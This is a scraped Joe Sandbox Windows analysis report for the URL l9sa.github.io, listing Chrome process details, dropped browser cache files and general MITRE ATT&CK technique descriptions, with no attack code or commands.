Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	18:19:12
Start date:	29/08/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2256,i,18392607891102522475,18317958788277072276,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	18:19:15
Start date:	29/08/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "http://l9sa.github.io/"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://l9sa.github.io/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3272_1292434547\LICENSE

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3272_1292434547\_metadata\verified_contents.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3272_1292434547\manifest.fingerprint

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3272_1292434547\manifest.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3272_1292434547\sets.json

Chrome Cache Entry: 193

Chrome Cache Entry: 194

Chrome Cache Entry: 195

Chrome Cache Entry: 196

Chrome Cache Entry: 197

Chrome Cache Entry: 198

Chrome Cache Entry: 199

Chrome Cache Entry: 200

Chrome Cache Entry: 201

Chrome Cache Entry: 202

Chrome Cache Entry: 203

Chrome Cache Entry: 204

Chrome Cache Entry: 205

Chrome Cache Entry: 206

Chrome Cache Entry: 207

Chrome Cache Entry: 208

Chrome Cache Entry: 209

Chrome Cache Entry: 210

Chrome Cache Entry: 211

Chrome Cache Entry: 212

Chrome Cache Entry: 213

Chrome Cache Entry: 214

Chrome Cache Entry: 215

Windows Analysis Report
http://l9sa.github.io/